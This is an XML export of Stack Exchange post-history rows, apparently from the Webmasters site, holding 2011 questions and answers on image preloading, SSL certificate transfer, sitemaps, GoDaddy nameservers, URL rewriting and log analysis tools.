  <row Id="32453" PostHistoryTypeId="5" PostId="2282" RevisionGUID="8825ac41-9ad1-4577-8739-5fbe6bd3b2c4" CreationDate="2011-05-17T13:24:02.450" UserId="1253" Comment="added 100 characters in body" Text="1) Use [CSS Sprites][1] (This is the preferred method).&#xD;&#xA;&#xD;&#xA;2) Load the images in a hidden div. Place the images in the div and then set the div's CSS to `display: none;` to hide it.&#xD;&#xA;&#xD;&#xA;3) [Load the images with CSS][2]:&#xD;&#xA;&#xD;&#xA;    #preloadedImages&#xD;&#xA;    {&#xD;&#xA;        width: 0px;&#xD;&#xA;        height: 0px;&#xD;&#xA;        display: inline;&#xD;&#xA;        background-image: url(path/to/image1.png);&#xD;&#xA;        background-image: url(path/to/image2.png);&#xD;&#xA;        background-image: url(path/to/image3.png);&#xD;&#xA;        background-image: url(path/to/image4.png);&#xD;&#xA;        background-image: url();&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;4) Use [this JavaScript][3]&#xD;&#xA;&#xD;&#xA;    &lt;script language=&quot;JavaScript&quot;&gt;&#xD;&#xA;    &#xD;&#xA;    function preloader() &#xD;&#xA;    {&#xD;&#xA;         // counter&#xD;&#xA;         var i = 0;&#xD;&#xA;    &#xD;&#xA;         // create object&#xD;&#xA;         imageObj = new Image();&#xD;&#xA;    &#xD;&#xA;         // set image list&#xD;&#xA;         images = new Array();&#xD;&#xA;         images[0]=&quot;image1.jpg&quot;&#xD;&#xA;         images[1]=&quot;image2.jpg&quot;&#xD;&#xA;         images[2]=&quot;image3.jpg&quot;&#xD;&#xA;         images[3]=&quot;image4.jpg&quot;&#xD;&#xA;    &#xD;&#xA;         // start preloading&#xD;&#xA;         for(i=0; i&lt;=3; i++) &#xD;&#xA;         {&#xD;&#xA;              imageObj.src=images[i];&#xD;&#xA;         }&#xD;&#xA;    }&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://css-tricks.com/css-sprites/&#xD;&#xA;  [2]: http://stackoverflow.com/questions/819336/how-to-preload-images-without-javascript&#xD;&#xA;  [3]: http://articles.techrepublic.com.com/5100-10878_11-5214317.html" />
  <row Id="32454" PostHistoryTypeId="2" PostId="13948" RevisionGUID="258f6aa1-f161-48c4-89bd-8162f67e2254" CreationDate="2011-05-17T14:23:04.443" UserId="6634" Text="I think a short downtime will not be a disaster for you, unless you're dealing with some of the more timely queries like news, celebrity gossip, the precise location of bin Laden's toothbrush &amp;c… or some of the more popular queries / competitive search niches. Or unless your site is so big and important and it's getting crawled often enough that an eight hour downtime means the spider has returned two or three times to continue finding nothing there. " />
  <row Id="32455" PostHistoryTypeId="2" PostId="13949" RevisionGUID="fe520f21-894b-43e1-9234-979c4cd33a4b" CreationDate="2011-05-17T14:28:56.617" UserId="6284" Text="I have a site running on godaddy shared hosting, which is going to be moved over to a VPS. The site has a SSL certificate from godaddy.&#xD;&#xA;&#xD;&#xA;How can I move over the certificate in a seamless way, so that the certificate is there, and all I have to do is change the DNS over?" />
  <row Id="32456" PostHistoryTypeId="1" PostId="13949" RevisionGUID="fe520f21-894b-43e1-9234-979c4cd33a4b" CreationDate="2011-05-17T14:28:56.617" UserId="6284" Text="How do I transfer an ssl certificate to a new server" />
  <row Id="32457" PostHistoryTypeId="3" PostId="13949" RevisionGUID="fe520f21-894b-43e1-9234-979c4cd33a4b" CreationDate="2011-05-17T14:28:56.617" UserId="6284" Text="&lt;ssl&gt;&lt;ssl-certificate&gt;&lt;godaddy&gt;" />
  <row Id="32458" PostHistoryTypeId="2" PostId="13950" RevisionGUID="74a42cf0-a61b-47bf-b51f-ca5455a8c6d0" CreationDate="2011-05-17T14:30:49.813" UserId="1643" Text="This article should help you:&#xD;&#xA;http://help.godaddy.com/article/4976" />
  <row Id="32459" PostHistoryTypeId="17" PostId="13952" RevisionGUID="3c3c2b40-177b-48c6-878c-76c5d65ff30d" CreationDate="2011-05-17T14:42:23.547" UserId="-1" Comment="from http://stackoverflow.com/questions/6031289/is-seo-and-sitemap-really-important/6031344#6031344" Text="" />
  <row Id="32460" PostHistoryTypeId="17" PostId="13953" RevisionGUID="c7439e52-5924-41c5-8af3-acdd14bec858" CreationDate="2011-05-17T14:42:23.547" UserId="-1" Comment="from http://stackoverflow.com/questions/6031289/is-seo-and-sitemap-really-important/6031729#6031729" Text="" />
  <row Id="32461" PostHistoryTypeId="2" PostId="13952" RevisionGUID="f24051be-ef17-42dd-aba5-dd6f13ece459" CreationDate="2011-05-17T13:18:46.517" UserDisplayName="Niklas" Text="[http://mvcsitemap.codeplex.com/][1] seem to have what you need.  &#xD;&#xA;  &#xD;&#xA;I guess if you are as big as Facebook and Twitter you'll get by without it =)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mvcsitemap.codeplex.com/" />
  <row Id="32462" PostHistoryTypeId="2" PostId="13953" RevisionGUID="31097a1e-b7a2-4d05-ae7d-4415ea233afa" CreationDate="2011-05-17T13:45:52.303" UserId="5166" Text="There is no rule that says a sitemap file should live in the root of a website and be named in a special way. Any engine that allows you to submit XML sitemaps allows you to specify the URL for the sitemap. I usually put them in a `/sitemaps/` folder for convenience because I usually have several sitemaps. One for videos, one for news articles and one for general content. And actually one more that points to those three sitemaps so that I only have to submit one file.&#xD;&#xA;&#xD;&#xA;Sometime search engines don't find all of your content so a sitemap file is a way for you to say &quot;this is all of my content, please cross reference with it when spidering&quot;. Engines aren't required to do this and there's no guarantee that they will but at least you tried. I have done experiments where I created a file that is only accessible through the sitemap file and it did appear in the search results." />
  <row Id="32463" PostHistoryTypeId="2" PostId="13951" RevisionGUID="ab173930-f0e9-46ce-b154-50f69a7a48c8" CreationDate="2011-05-17T13:15:06.990" UserDisplayName="elranu" Text="Is the sitemap really important? I ask this because I couldn't see the sitemaps of big websites such as Twitter, Facebook and others... The sitemap should be at &quot;/sitemap.xml&quot;, &quot;/sitemap.xml.gz&quot; or &quot;/sitemap.gz&quot;, isn't it?&#xD;&#xA;&#xD;&#xA;How do you recommend to make a sitemap with ASP.NET MVC web site?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="32464" PostHistoryTypeId="1" PostId="13951" RevisionGUID="ab173930-f0e9-46ce-b154-50f69a7a48c8" CreationDate="2011-05-17T13:15:06.990" UserDisplayName="elranu" Text="Is SEO and sitemap really important?" />
  <row Id="32465" PostHistoryTypeId="3" PostId="13951" RevisionGUID="ab173930-f0e9-46ce-b154-50f69a7a48c8" CreationDate="2011-05-17T13:15:06.990" UserDisplayName="elranu" Text="&lt;asp.net-mvc&gt;&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="32466" PostHistoryTypeId="17" PostId="13951" RevisionGUID="c288ca61-fe3d-4665-b007-12331fb4314f" CreationDate="2011-05-17T14:42:23.547" UserId="-1" Comment="from http://stackoverflow.com/questions/6031289/is-seo-and-sitemap-really-important" Text="" />
  <row Id="32467" PostHistoryTypeId="25" PostId="13949" RevisionGUID="fd1bfa20-98f8-44b7-b756-ca4c8126d3a0" CreationDate="2011-05-17T15:12:14.053" Comment="http://twitter.com/#!/StackWebmasters/status/70506918023659520" />
  <row Id="32468" PostHistoryTypeId="5" PostId="13929" RevisionGUID="09cebd35-b073-41a4-9069-f9b291cc0605" CreationDate="2011-05-17T16:07:24.210" UserId="7591" Comment="add proof of google pingback for back button clicks" Text="This is very likely Google can estimate your bounce rate, if you take into account a new feature that detects when the user is **clicking the back button:**&#xD;&#xA;&#xD;&#xA;1. Search Google:&#xD;&#xA;&#xD;&#xA;    ![enter image description here][1]&#xD;&#xA;&#xD;&#xA;2. Click a search result.&#xD;&#xA;2. Click back.  &#xD;&#xA;&#xD;&#xA;3. Google is showing a new option, &quot;Block all [site] results&quot;:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Obviously, that is a guess, but quick back clicks may be good indicators of irrelevant results, and has strong correlation with bounce rate. Note that this fails when the user is opening search results in a new tab, so it may be directed to the less savvy users.  &#xD;&#xA;&#xD;&#xA;Note the difference between &quot;making another search&quot;, which Google should take personally as it displayed irrelevant results, and &quot;returning to the same search&quot;, which means that that particular site wasn't suited for this search.&#xD;&#xA;&#xD;&#xA;![enter image description here][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/Qr5d1.png&#xD;&#xA;  [2]: http://i.stack.imgur.com/fH8Ye.png&#xD;&#xA;  [3]: http://i.stack.imgur.com/lZaXj.png" />
  <row Id="32469" PostHistoryTypeId="24" PostId="13929" RevisionGUID="09cebd35-b073-41a4-9069-f9b291cc0605" CreationDate="2011-05-17T16:07:24.210" Comment="Proposed by 7591 approved by 1064 edit id of 290" />
  <row Id="32470" PostHistoryTypeId="2" PostId="13954" RevisionGUID="67149d29-d42b-484f-87b4-2c6efcb58029" CreationDate="2011-05-17T16:09:13.697" UserId="7057" Text="Help me find javascript slider. I can't find it anywhere - i just saw it one time and was shocked, how it was good implemented.&#xD;&#xA;&#xD;&#xA;So, it looks like image below:&#xD;&#xA;&#xD;&#xA;             _____&#xD;&#xA;    ----.----|    |----.----&#xD;&#xA;      1 . 2  | 3  | 4  . 5&#xD;&#xA;    ----.----|____|----.----&#xD;&#xA;&#xD;&#xA;On center (3) image is zoomed and bigger, than others" />
  <row Id="32471" PostHistoryTypeId="1" PostId="13954" RevisionGUID="67149d29-d42b-484f-87b4-2c6efcb58029" CreationDate="2011-05-17T16:09:13.697" UserId="7057" Text="javascript slider" />
  <row Id="32472" PostHistoryTypeId="3" PostId="13954" RevisionGUID="67149d29-d42b-484f-87b4-2c6efcb58029" CreationDate="2011-05-17T16:09:13.697" UserId="7057" Text="&lt;jquery&gt;" />
  <row Id="32473" PostHistoryTypeId="2" PostId="13955" RevisionGUID="b097e3b0-b08e-4992-9d5a-40b9bae5870f" CreationDate="2011-05-17T16:10:01.480" UserId="7593" Text="How to setup kohana's index.php with cherokee webserver?&#xD;&#xA;&#xD;&#xA;Should i add a rule to redirect all to index.php?&#xD;&#xA;&#xD;&#xA;These settings don't work&#xD;&#xA;&#xD;&#xA;    Rule RegExp ^.*index.php.*$&#xD;&#xA;    Redirect ^(.*)$ =&gt; index.php$1" />
  <row Id="32474" PostHistoryTypeId="1" PostId="13955" RevisionGUID="b097e3b0-b08e-4992-9d5a-40b9bae5870f" CreationDate="2011-05-17T16:10:01.480" UserId="7593" Text="Kohana with cherokee" />
  <row Id="32475" PostHistoryTypeId="3" PostId="13955" RevisionGUID="b097e3b0-b08e-4992-9d5a-40b9bae5870f" CreationDate="2011-05-17T16:10:01.480" UserId="7593" Text="&lt;server&gt;&lt;mod-rewrite&gt;" />
  <row Id="32476" PostHistoryTypeId="5" PostId="13954" RevisionGUID="b07283aa-daa1-4d27-8e8d-9fd2fba46ec8" CreationDate="2011-05-17T16:15:39.447" UserId="1253" Comment="modified tags" Text="Help me find javascript slider. I can't find it anywhere - i just saw it one time and was shocked, how it was good implemented.&#xD;&#xA;&#xD;&#xA;So, it looks like image below:&#xD;&#xA;&#xD;&#xA;             _____&#xD;&#xA;    ----.----|    |----.----&#xD;&#xA;      1 . 2  | 3  | 4  . 5&#xD;&#xA;    ----.----|____|----.----&#xD;&#xA;&#xD;&#xA;On center (3) image is zoomed and bigger, than others" />
  <row Id="32477" PostHistoryTypeId="6" PostId="13954" RevisionGUID="b07283aa-daa1-4d27-8e8d-9fd2fba46ec8" CreationDate="2011-05-17T16:15:39.447" UserId="1253" Comment="modified tags" Text="&lt;looking-for-a-script&gt;&lt;jquery&gt;" />
  <row Id="32478" PostHistoryTypeId="6" PostId="13955" RevisionGUID="e91b3f28-4d17-464f-aca2-e30949dd0611" CreationDate="2011-05-17T16:16:50.350" UserId="1253" Comment="modified tags" Text="&lt;mod-rewrite&gt;&lt;kohana&gt;&lt;cherokee-webserver&gt;" />
  <row Id="32479" PostHistoryTypeId="2" PostId="13956" RevisionGUID="9e43fcab-1bde-4492-a4a3-c7bdaa06aa95" CreationDate="2011-05-17T16:22:11.533" UserId="7198" Text="The jQuery &lt;a href=&quot;http://plugins.jquery.com/project/SlidingGallery&quot;&gt;Sliding Gallery&lt;/a&gt; plugin enlarges the central image in the way you describe. There's a &lt;a href=&quot;http://www.meadmiracle.com/SlidingGalleryDemo1.htm&quot;&gt;demo here.&lt;/a&gt;" />
  <row Id="32480" PostHistoryTypeId="17" PostId="13958" RevisionGUID="46f49e33-6dbc-4526-a15e-09b974cd7e89" CreationDate="2011-05-17T17:39:40.163" UserId="-1" Comment="from http://superuser.com/questions/284819/changing-nameservers-for-a-domain-on-godaddy/284821#284821" Text="" />
  <row Id="32481" PostHistoryTypeId="2" PostId="13958" RevisionGUID="a5b2f422-4512-4ebd-b808-f4ee1e9f772e" CreationDate="2011-05-17T17:37:49.930" UserId="330" Text="You have to get the DNS servers from Network Solutions and set them in the GoDaddy control panel (under DNS nameservers).&#xD;&#xA;&#xD;&#xA;It should be something like:&#xD;&#xA;&#xD;&#xA;    dns1.networksolutions.com&#xD;&#xA;    dns2.networksolutions.com&#xD;&#xA;&#xD;&#xA;You can put more that 3 nameservers in the GoDaddy control panel, but you should enter at least two." />
  <row Id="32482" PostHistoryTypeId="2" PostId="13957" RevisionGUID="95deba47-48f3-408c-9d88-9be6ab6fe6ce" CreationDate="2011-05-17T17:34:12.273" UserDisplayName="dan" Text="&#xD;&#xA;I am redoing a website for a friend of mine. The domain was purchased on GoDaddy. The hosting was purchased elsewhere. After having problems with the hosting company and making some updates I decided to switch the hosting to Network Solutions.&#xD;&#xA;&#xD;&#xA;I have purchased the hosting from NS and just want to set the new NS nameservers on GoDaddy for the domain. I tried entering in the FTP server name from NS but it said it was not registered. Any help would be appreciated here.&#xD;&#xA;" />
  <row Id="32483" PostHistoryTypeId="1" PostId="13957" RevisionGUID="95deba47-48f3-408c-9d88-9be6ab6fe6ce" CreationDate="2011-05-17T17:34:12.273" UserDisplayName="dan" Text="Changing nameservers for a domain on GoDaddy" />
  <row Id="32484" PostHistoryTypeId="3" PostId="13957" RevisionGUID="95deba47-48f3-408c-9d88-9be6ab6fe6ce" CreationDate="2011-05-17T17:34:12.273" UserDisplayName="dan" Text="&lt;domains&gt;&lt;web-hosting&gt;&lt;nameserver&gt;" />
  <row Id="32485" PostHistoryTypeId="17" PostId="13957" RevisionGUID="2619ccad-1920-4d89-801e-e73d29496cf5" CreationDate="2011-05-17T17:39:40.163" UserId="-1" Comment="from http://superuser.com/questions/284819/changing-nameservers-for-a-domain-on-godaddy" Text="" />
  <row Id="32486" PostHistoryTypeId="2" PostId="13959" RevisionGUID="98deedde-79d6-4b38-9ddd-b7eb1c9fa492" CreationDate="2011-05-17T17:23:10.340" UserDisplayName="Dan" Text="I am redoing a website for a friend of mine.  The domain was purchased on GoDaddy.  The hosting was purchased elsewhere.  After having problems with the hosting company and making some updates I decided to switch the hosting to Network Solutions.  &#xD;&#xA;&#xD;&#xA;I have purchased the hosting from NS and just want to set the new NS nameservers on GoDaddy for the domain.  I tried entering in the FTP server name from NS but it said it was not registered.  Any help would be appreciated here." />
  <row Id="32487" PostHistoryTypeId="1" PostId="13959" RevisionGUID="98deedde-79d6-4b38-9ddd-b7eb1c9fa492" CreationDate="2011-05-17T17:23:10.340" UserDisplayName="Dan" Text="Changing nameservers for a domain on GoDaddy" />
  <row Id="32488" PostHistoryTypeId="3" PostId="13959" RevisionGUID="98deedde-79d6-4b38-9ddd-b7eb1c9fa492" CreationDate="2011-05-17T17:23:10.340" UserDisplayName="Dan" Text="&lt;web-hosting&gt;&lt;domains&gt;&lt;nameserver&gt;" />
  <row Id="32489" PostHistoryTypeId="17" PostId="13959" RevisionGUID="9906dfb2-4c3b-481e-861e-806c87fd403d" CreationDate="2011-05-17T17:53:09.910" UserId="-1" Comment="from http://stackoverflow.com/questions/6034661/changing-nameservers-for-a-domain-on-godaddy" Text="" />
  <row Id="32490" PostHistoryTypeId="5" PostId="13959" RevisionGUID="979e3106-e83c-4a21-a9c3-46e03e299327" CreationDate="2011-05-17T17:59:18.810" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Changing nameservers for a domain on GoDaddy](http://webmasters.stackexchange.com/questions/13957/changing-nameservers-for-a-domain-on-godaddy)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I am redoing a website for a friend of mine.  The domain was purchased on GoDaddy.  The hosting was purchased elsewhere.  After having problems with the hosting company and making some updates I decided to switch the hosting to Network Solutions.  &#xD;&#xA;&#xD;&#xA;I have purchased the hosting from NS and just want to set the new NS nameservers on GoDaddy for the domain.  I tried entering in the FTP server name from NS but it said it was not registered.  Any help would be appreciated here." />
  <row Id="32491" PostHistoryTypeId="10" PostId="13959" RevisionGUID="0689a164-7c08-4ed3-8210-0b6324db70f4" CreationDate="2011-05-17T17:59:18.203" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="32494" PostHistoryTypeId="25" PostId="13951" RevisionGUID="faf99f03-4622-4d88-be6a-bb34b990c0a3" CreationDate="2011-05-17T18:12:13.950" Comment="http://twitter.com/#!/StackWebmasters/status/70552216477507584" />
  <row Id="32496" PostHistoryTypeId="2" PostId="13961" RevisionGUID="010ba105-0220-4a17-8d7a-d4211a5132da" CreationDate="2011-05-17T19:23:43.187" UserId="6901" Text="I have read an article about sites like google and facebook using a redirect script to keep track of who clicks what links on the web. And since they have a lot of traffic, they are monitoring a lot users that are clicking a lot of links. However, they aren't the source of 100% of the links in the world, and thus they can not monitor every link that every user clicks on.&#xD;&#xA;&#xD;&#xA;However, we (the smaller websites) are also capable of monitoring what our visitors click on, though we have to do it on a much smaller scale (we don't have as many visitors as facebook and/or google). The only problem is, we don't collect enough data for it to be very useful to anyone but us. However, if someone were to pay owners of the small sites for their click data, and combine it into one big dataset, it could be very useful. In fact, it would probably be useful enough that some people would want to pay to have access to that data. &#xD;&#xA;&#xD;&#xA;I was wondering if there are any websites that use the business model described above (get small websites to sell you their data, and sell the combined data to other corporations). If anyone knows of such a site, it could be an interesting revenue source for webmasters. And if there is not such a site, then it could be an interesting idea for anyone wanting to start a business...&#xD;&#xA;&#xD;&#xA;NOTE: I'm asking this more out of curiosity than because I actually want to sell my user's click data (though I might consider it in the future)." />
  <row Id="32497" PostHistoryTypeId="1" PostId="13961" RevisionGUID="010ba105-0220-4a17-8d7a-d4211a5132da" CreationDate="2011-05-17T19:23:43.187" UserId="6901" Text="Is it Possible to Earn Revenue by Selling Click Data?" />
  <row Id="32498" PostHistoryTypeId="3" PostId="13961" RevisionGUID="010ba105-0220-4a17-8d7a-d4211a5132da" CreationDate="2011-05-17T19:23:43.187" UserId="6901" Text="&lt;redirects&gt;&lt;revenue&gt;" />
  <row Id="32499" PostHistoryTypeId="2" PostId="13962" RevisionGUID="0e2c2b15-72a0-4671-b6e9-f4f6221023ab" CreationDate="2011-05-17T19:29:58.890" UserId="-1" Text="" />
  <row Id="32500" PostHistoryTypeId="2" PostId="13963" RevisionGUID="f65d6215-57f7-4d0b-82ae-1e04c3605a68" CreationDate="2011-05-17T19:29:58.890" UserId="-1" Text="" />
  <row Id="32501" PostHistoryTypeId="2" PostId="13964" RevisionGUID="fc396e16-732d-4422-a0b7-937064a8481c" CreationDate="2011-05-17T19:39:31.627" UserId="7405" Text="Have you tried setting the following?&#xD;&#xA;&#xD;&#xA;    &lt;system.webServer&gt;&#xD;&#xA;      &lt;httpErrors existingResponse=&quot;PassThrough&quot; /&gt;&#xD;&#xA;    &lt;/system.webServer&gt;&#xD;&#xA;&#xD;&#xA;Here are a couple of references on error pages:&#xD;&#xA;&#xD;&#xA;http://www.iis.net/ConfigReference/system.webServer/httpErrors&#xD;&#xA;&#xD;&#xA;http://blogs.iis.net/ksingla/archive/2008/02/18/what-to-expect-from-iis7-custom-error-module.aspx" />
  <row Id="32502" PostHistoryTypeId="5" PostId="13963" RevisionGUID="fc5477e0-ff15-4c4d-87b8-bb1c21497841" CreationDate="2011-05-17T19:48:45.333" UserId="6901" Comment="added 77 characters in body" Text="A page/link/command that sends the user to another url in the world wide web." />
  <row Id="32503" PostHistoryTypeId="24" PostId="13963" RevisionGUID="fc5477e0-ff15-4c4d-87b8-bb1c21497841" CreationDate="2011-05-17T19:48:45.333" Comment="Proposed by 6901 approved by 1253 edit id of 291" />
  <row Id="32504" PostHistoryTypeId="5" PostId="13962" RevisionGUID="44e30670-f1b8-4d24-9f0c-f9c32d1a7791" CreationDate="2011-05-17T19:48:47.797" UserId="6901" Comment="added 77 characters in body" Text="A page/link/command that sends the user to another url in the world wide web." />
  <row Id="32505" PostHistoryTypeId="24" PostId="13962" RevisionGUID="44e30670-f1b8-4d24-9f0c-f9c32d1a7791" CreationDate="2011-05-17T19:48:47.797" Comment="Proposed by 6901 approved by 1253 edit id of 292" />
  <row Id="32506" PostHistoryTypeId="2" PostId="13965" RevisionGUID="26d59d8b-ee84-41c0-a981-c134e0a078f0" CreationDate="2011-05-17T19:57:58.413" UserId="5739" Text="Try [Deep Log Analyzer][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.deep-software.com/" />
  <row Id="32507" PostHistoryTypeId="2" PostId="13966" RevisionGUID="28946d23-5c0e-4745-bd5e-7dbfd59281c0" CreationDate="2011-05-17T20:10:49.777" UserId="7405" Text="There are a number of log analysis packages that can be used.  Some of the server based log analysis tools can be installed and run on your local machine to simulate a server.  [SmarterStats][1], [AWStats][2], and [WebTrends][3] are a few good examples (although I'm not sure if WebTrends has a free version).&#xD;&#xA;&#xD;&#xA;Steve Schofield (Windows Server MVP for IIS) lists a few examples on his [blog][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smartertools.com/smarterstats/web-analytics-seo-software.aspx&#xD;&#xA;  [2]: http://awstats.sourceforge.net/&#xD;&#xA;  [3]: http://www.webtrends.com/&#xD;&#xA;  [4]: http://weblogs.asp.net/steveschofield/archive/2007/09/04/log-analsyis-software-for-iis.aspx" />
  <row Id="32508" PostHistoryTypeId="2" PostId="13967" RevisionGUID="ca69e6ba-440b-4c39-84f3-ff45747cda03" CreationDate="2011-05-17T20:28:28.013" UserId="-1" Text="" />
  <row Id="32509" PostHistoryTypeId="2" PostId="13968" RevisionGUID="5491f8b7-a1a8-439e-84dc-20afb15c6c5c" CreationDate="2011-05-17T20:28:28.013" UserId="-1" Text="" />
  <row Id="32510" PostHistoryTypeId="2" PostId="13969" RevisionGUID="e7503332-4345-4172-929b-3bb431bf72d6" CreationDate="2011-05-17T20:31:13.580" UserId="-1" Text="" />
  <row Id="32511" PostHistoryTypeId="2" PostId="13970" RevisionGUID="ec7f1ada-3f0f-426f-bf6c-ec47f209991e" CreationDate="2011-05-17T20:31:13.580" UserId="-1" Text="" />
  <row Id="32512" PostHistoryTypeId="2" PostId="13971" RevisionGUID="cc6355c2-551d-4cd3-8bf3-9ba6497c618f" CreationDate="2011-05-17T20:31:18.253" UserId="7601" Text="You cannot set the .co domains in Private Registration. I guess it's a domain registry&#xD;&#xA;thing. Godaddy and 1and1 doesn't allow that, and I believe all other registrars doesn't allow that as well. But you can always set a alternative reg-c information in your contact details if you do not want to disclose your personal contact information. WHOIS database will update every 24 hours.  Cheers.. ;)" />
  <row Id="32513" PostHistoryTypeId="2" PostId="13972" RevisionGUID="70f0c14e-cd1e-4278-a8b8-b9f82c5d05c3" CreationDate="2011-05-17T20:36:31.203" UserId="-1" Text="" />
  <row Id="32514" PostHistoryTypeId="2" PostId="13973" RevisionGUID="36a0e0b0-9cc5-45ec-902b-457d1edaa715" CreationDate="2011-05-17T20:36:31.203" UserId="-1" Text="" />
  <row Id="32515" PostHistoryTypeId="2" PostId="13974" RevisionGUID="b8dcb7e7-a09e-476b-b58c-967d8c580bc9" CreationDate="2011-05-17T20:39:25.943" UserId="-1" Text="" />
  <row Id="32516" PostHistoryTypeId="2" PostId="13975" RevisionGUID="e5a90d25-7915-44da-8a04-a0601a308bbd" CreationDate="2011-05-17T20:39:25.943" UserId="-1" Text="" />
  <row Id="32517" PostHistoryTypeId="2" PostId="13976" RevisionGUID="145ae6c7-2ce9-4cae-878e-e618d5d9a825" CreationDate="2011-05-17T20:46:07.187" UserId="5806" Text="There are over 10 stats packages installed in my server (AWStat, Webalizer, etc) and cPanel has an interface to show them in terms of visitors, bandwidth, popular pages, etc.&#xD;&#xA;&#xD;&#xA;**It is possible to access those stats through PHP?**&#xD;&#xA;&#xD;&#xA;Possible applications include getting a list of most popular content, reporting on visitors and taking actions depending on bandwidth, etc. I know that many of these features can be implemented by creating my own stats counting system but since that information is already somewhere, it could be awesome not to have to write more code to collect it.&#xD;&#xA;" />
  <row Id="32518" PostHistoryTypeId="1" PostId="13976" RevisionGUID="145ae6c7-2ce9-4cae-878e-e618d5d9a825" CreationDate="2011-05-17T20:46:07.187" UserId="5806" Text="Accessing server stats using PHP" />
  <row Id="32519" PostHistoryTypeId="3" PostId="13976" RevisionGUID="145ae6c7-2ce9-4cae-878e-e618d5d9a825" CreationDate="2011-05-17T20:46:07.187" UserId="5806" Text="&lt;php&gt;&lt;apache&gt;&lt;statistics&gt;" />
  <row Id="32520" PostHistoryTypeId="25" PostId="13976" RevisionGUID="57ab0bb5-27b9-4f2a-90ea-7ed07ef397f8" CreationDate="2011-05-17T21:12:13.910" Comment="http://twitter.com/#!/StackWebmasters/status/70597513509486592" />
  <row Id="32521" PostHistoryTypeId="2" PostId="13977" RevisionGUID="2a6808cb-85e2-4034-b339-9b50b97cb907" CreationDate="2011-05-17T21:15:04.970" UserId="3371" Text="I am looking for a good FB plug and play custom page service.  Something like pagemodo, but a little more robust.  Any suggestions?  I don't mind if we have to pay for it.&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="32522" PostHistoryTypeId="1" PostId="13977" RevisionGUID="2a6808cb-85e2-4034-b339-9b50b97cb907" CreationDate="2011-05-17T21:15:04.970" UserId="3371" Text="What's A Good Option For Plug and Play FB page Customization?" />
  <row Id="32523" PostHistoryTypeId="3" PostId="13977" RevisionGUID="2a6808cb-85e2-4034-b339-9b50b97cb907" CreationDate="2011-05-17T21:15:04.970" UserId="3371" Text="&lt;facebook&gt;" />
  <row Id="32524" PostHistoryTypeId="2" PostId="13978" RevisionGUID="0d26228c-da52-45c9-9cab-3b9578ece6d5" CreationDate="2011-05-17T21:21:04.223" UserId="5806" Text="*NOTE: My terminology may not be entirely correct. I believe StackExchange does something like what I am asking, in case this can make things clearer.*&#xD;&#xA;&#xD;&#xA;Using **PHP on Apache**, I would like to handle URLs such as:&#xD;&#xA;&#xD;&#xA;    http://www.site.com/info/&lt;brand&gt;/&lt;model&gt;/&lt;page&gt;&#xD;&#xA;&#xD;&#xA;For example with `&lt;brand&gt; = toyota, &lt;model&gt; = camry, &lt;page&gt; = 'safety'`&#xD;&#xA;&#xD;&#xA;And have all the URLs starting with 'info' (let's say) be handled by **a&#xD;&#xA;single PHP file like 'info.php' without the URL in the location bar changing**.&#xD;&#xA;&#xD;&#xA;In other words, someone navigates to:&#xD;&#xA;&#xD;&#xA;    http://www.site.com/info/toyota/camry/safety&#xD;&#xA;&#xD;&#xA;But the code to handle this is in `info.php` but the URL in the browser stays&#xD;&#xA;as is. I do not want to have to create all the /toyota/camera/safety directory&#xD;&#xA;structure (there would be 1000s).&#xD;&#xA;&#xD;&#xA;My guess is that info.php would get the path components as parameters in&#xD;&#xA;order to know what content to serve. So the internal invocation invisible&#xD;&#xA;to the user would be:&#xD;&#xA;&#xD;&#xA;    info.php?brand=toyota&amp;model=camera&amp;page=safety&#xD;&#xA;&#xD;&#xA;Seems like the question here are doing something similar since they get URLs like:&#xD;&#xA;&#xD;&#xA;    http://webmasters.stackexchange.com/questions/13978/how-to-implement-user-friendly-paths-in-php-without-creating-a-file-or-directory&#xD;&#xA;&#xD;&#xA;and I presume the path there is not actually created on the server." />
  <row Id="32525" PostHistoryTypeId="1" PostId="13978" RevisionGUID="0d26228c-da52-45c9-9cab-3b9578ece6d5" CreationDate="2011-05-17T21:21:04.223" UserId="5806" Text="How to implement user-friendly paths in PHP without creating a file or directory for each page?" />
  <row Id="32526" PostHistoryTypeId="3" PostId="13978" RevisionGUID="0d26228c-da52-45c9-9cab-3b9578ece6d5" CreationDate="2011-05-17T21:21:04.223" UserId="5806" Text="&lt;php&gt;&lt;apache&gt;&lt;handler&gt;" />
  <row Id="32527" PostHistoryTypeId="2" PostId="13979" RevisionGUID="90684929-7dae-41e8-81c9-3db9b5a9a3b3" CreationDate="2011-05-17T21:31:35.227" UserId="5464" Text="i would take a look at Google Places you could claim for each business and customise the information. this would then be used as the default in maps and you could just re-enforce that by using the hCard format on the website. &#xD;&#xA;&#xD;&#xA;i have not seen anything that allows you to explicitly set a default business though. I would guess though depending on the search terms used different maps results get set any way and you would therefore only really compete on an exact match for the location.  " />
  <row Id="32534" PostHistoryTypeId="5" PostId="5397" RevisionGUID="df3a9f19-9ae5-4c06-bc0a-4d5b097cb3c2" CreationDate="2011-05-17T22:33:40.387" UserId="4786" Comment="removed greeting and signature per FAQ" Text="I've registered a lot of domains in the past and have always usually purchased the additional service to make them have private whois info (e.g. domains by proxy)&#xD;&#xA;&#xD;&#xA;Today I registered two new &quot;.co&quot; domains from godaddy. Im now trying to make these private registrations but it doesn't look like its possible.&#xD;&#xA;&#xD;&#xA;Its it possible to make &quot;.co&quot; domains have private whois info?" />
